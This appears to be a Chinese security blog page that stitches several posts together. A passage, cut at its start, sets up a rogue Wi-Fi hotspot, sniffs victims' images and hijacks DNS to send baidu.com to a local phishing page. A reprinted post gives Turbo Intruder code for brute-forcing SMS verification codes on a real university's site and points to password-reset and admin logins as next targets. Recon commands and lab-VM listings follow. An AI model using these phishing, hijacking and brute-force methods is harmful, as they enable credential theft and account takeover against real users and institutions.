1 2	ifconfig wlan0mon up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

启动钓鱼热点

1
hostapd hostapd.conf
这样我们便可以看到有一个 china-net的热点，但是不能连接，不要着急，我们启动dnsmasq即可。
1
dnsmasq -C dnsmasq.conf -d
这样，我们的热点便可以正常连接并上网了。

左边为连接的设备，右边有设备访问的网站信息。

高级操作

嗅探目标图片

在终端执行
1
driftnet -i wlan0mon
便可以看到目标访问的站点图片信息。

中间人攻击

域名重定向

修改 /etc/ettercap/etter.dns文件，添加内容如下：
1
2
3
baidu.com      A   192.168.1.1
*.baidu.com    A   192.168.1.1
www.baidu.com  PTR 192.168.1.1
即，当我们访问百度，自动跳转到本地。
开启本地 apache
1
service apache2 start
将做好的钓鱼页面放到 /var/www/html目录下，然后终端执行 ettercap -G利用 ettercap进行DNS劫持，具体做法这里不再诉述。

当然，你也可以对目标进行数据包的捕获和分析，我们这里也不再说了。

填个坑

有不少人搭建完成后，反应上不了网，是因为dns冲突了。如你家的路由器的网段是192.168.1.1/24而在dns的配置文件中dhcp-option=3, 192.168.1.1这样会冲突，解决办法很简单，把192.168.1.1改成其他网段就行了，如192.168.5.1，但是后面的规则也要改。最简单的方法就是登陆路由器，将lan口地址192.168.1.1改掉就行了！

Exploit Fishing Reprint WiFi

记一次使用Burpsuite下的插件Turbo intruder进行实战

Dec 6, 2023

记一次使用Burpsuite下的插件Turbo intruder进行实战

本文转自酷酷的繁星并作补充

相信很多师傅在进行渗透测试或者漏洞挖掘的时候都会用到burpsuite这款神器，但是不知道师傅们用过burpsuite里面一款叫turbo intruder的插件么

不管这些，今天看了这篇文章的师傅我相信也会对这款插件有兴趣

安装教程等等的文章在各大论坛一找一大堆，但是实战的又有几个呢，对吧？

今天繁星就给大家带来turbo intruder实战教程

目标站点是某科技大学的站点

首先我们打开这个站点的首页看看

可以看到有注册按钮

我们点进去看看

然后在这里推荐师傅们一个很便利的短信接收平台

https://www.bfkdim.com/

好的，继续

手机号那里我们就填这个平台里面的一个手机号

开启我们的burpsuite，点“立即注册”抓个包

选择验证码右键

发送到turbo intruder

我们这边不同官方的代码

爆破验证码只需生成数字的所有排列组合就可以了，可以通过以下代码来生成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from itertools import product

def brute_veify_code(target, engine, length):
   pattern = '1234567890'
   for i in list(product(pattern, repeat=length)):
        code =  ''.join(i)
        engine.queue(target.req, code)

def queueRequests(target, wordlists):
   engine = RequestEngine(endpoint=target.endpoint,
           concurrentConnections=30,
           requestsPerConnection=100,
           pipeline=True
           )
   brute_veify_code(target, engine, 6)

def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
 if 'error' not in req.response:
      table.add(req)
复制这段代码替换掉默认的

然后点击最下方攻击

我们可以看到各种数据，这速度反正我是爱了，师傅们还没爱吗

我们可以看到响应包，没有什么限制，所以我们可以继续进行枚举

PS：拿turbo intruder枚举有时候会崩，不用慌，关掉再来一遍就行了

由于本人电脑配置太水加上网络慢，所以还没枚举完验证码就过期了，跟我一样的师傅可以尝试多几次

经过两个小时的奋战后，终于…….

被ban了

没有办法只能换个手机号继续搞

重复做了一遍之后

当我再点击获取验证码，提示该手机号已经注册，这意味着什么？意味着刚刚的枚举成功了，我们回到turbo intruder找下响应包

响应包的字节是55，与其它的包不一样所以就是这个了

可以看到响应包，提示success

再看看其它的响应包

这个字节76的是验证码错误

字节88的是该手机已被注册

我们会发现前面的全是字节76后面的全88那我们要在76和88的交界部分找成功的包

另外，再声明一下，这篇文章是介绍turbo intruder的实战，重点在turbo intruder，有的师傅可能会觉得注册处爆破验证码并没什么用，但是大家想想，注册处爆破验证码的原理和找回密码处爆破验证码的原理有什么区别？再大胆点想象一下，要是管理员登录处有找回密码这一功能呢？对吧？

Burpsuite Exploit Reprint

命令目的	Linux	Windows
当前用户的名称	whoami	whoami
操作系统	uname -a	ver
网络配置	ifconfig	ipconfig / all
网络连接	netstat -an	netstat -an
运行进程	ps -ef	tasklist

- 2023 -

WHO WANTS TO BE KING: 1

一、基本信息

名称：Who Wants To Be King: 1

发布日期：2020.12.1

作者：Bjorn

系列：Who Wants To Be King

推特：@ArmBjorn

二、靶机简介

Flags：

难度：简单

三、文件信息

文件名：whowantstobeking.ova

文件大小：2.4GB

下载地址：

MD5: 5B8BDCC5C24A3705C88F969B47A7199B

SHA1: 0114959A45DB91F699594D1476AB900F610681CA

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)

操作系统：Linux(ubuntu)

五、网络信息

DHCP服务：可用

IP地址：自动分配

六、环境配置

七、攻略步骤

信息探测

文件解密，SSH登录

初步提权

Flag获取

WARZONE: 3

一、基本信息

名称：Warzone: 3

发布日期：2020.11.21

作者：AL1ENUM

系列：Warzone

推特: @AL1ENUM

二、靶机简介

Flags：

难度：困难

三、文件信息

文件名：Warzone3.ova

文件大小：2.5GB

下载地址：

MD5: 3D82AB48E81BB31EE817EAECD8998747

SHA1: 8221A1683E3836903D050BF24E6E6601C72508B0

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)

操作系统：Linux(debain)

五、网络信息

DHCP服务：可用

IP地址：自动分配

六、环境配置

七、攻略步骤

信息探测

FTP匿名登录

alienclient.jar反编修改

初步提权

root提权

WARZONE: 2

一、基本信息

名称：Warzone: 2

发布日期：2020.11.9

作者：AL1ENUM

系列：Warzone

推特: @AL1ENUM

二、靶机简介

Flags：

难度：中等

三、文件信息

文件名：Warzone2.ova

文件大小：2.6GB

下载地址：

MD5: FF639B25FB64A049E094FC20F51B732C

SHA1: E5B5CADF476129CC365EDF58C5855497B97F1AA5

四、镜像信息

格式：Virtual Machine (Virtualbox - OVA)

操作系统：Linux(debain)

五、网络信息

DHCP服务：可用

IP地址：自动分配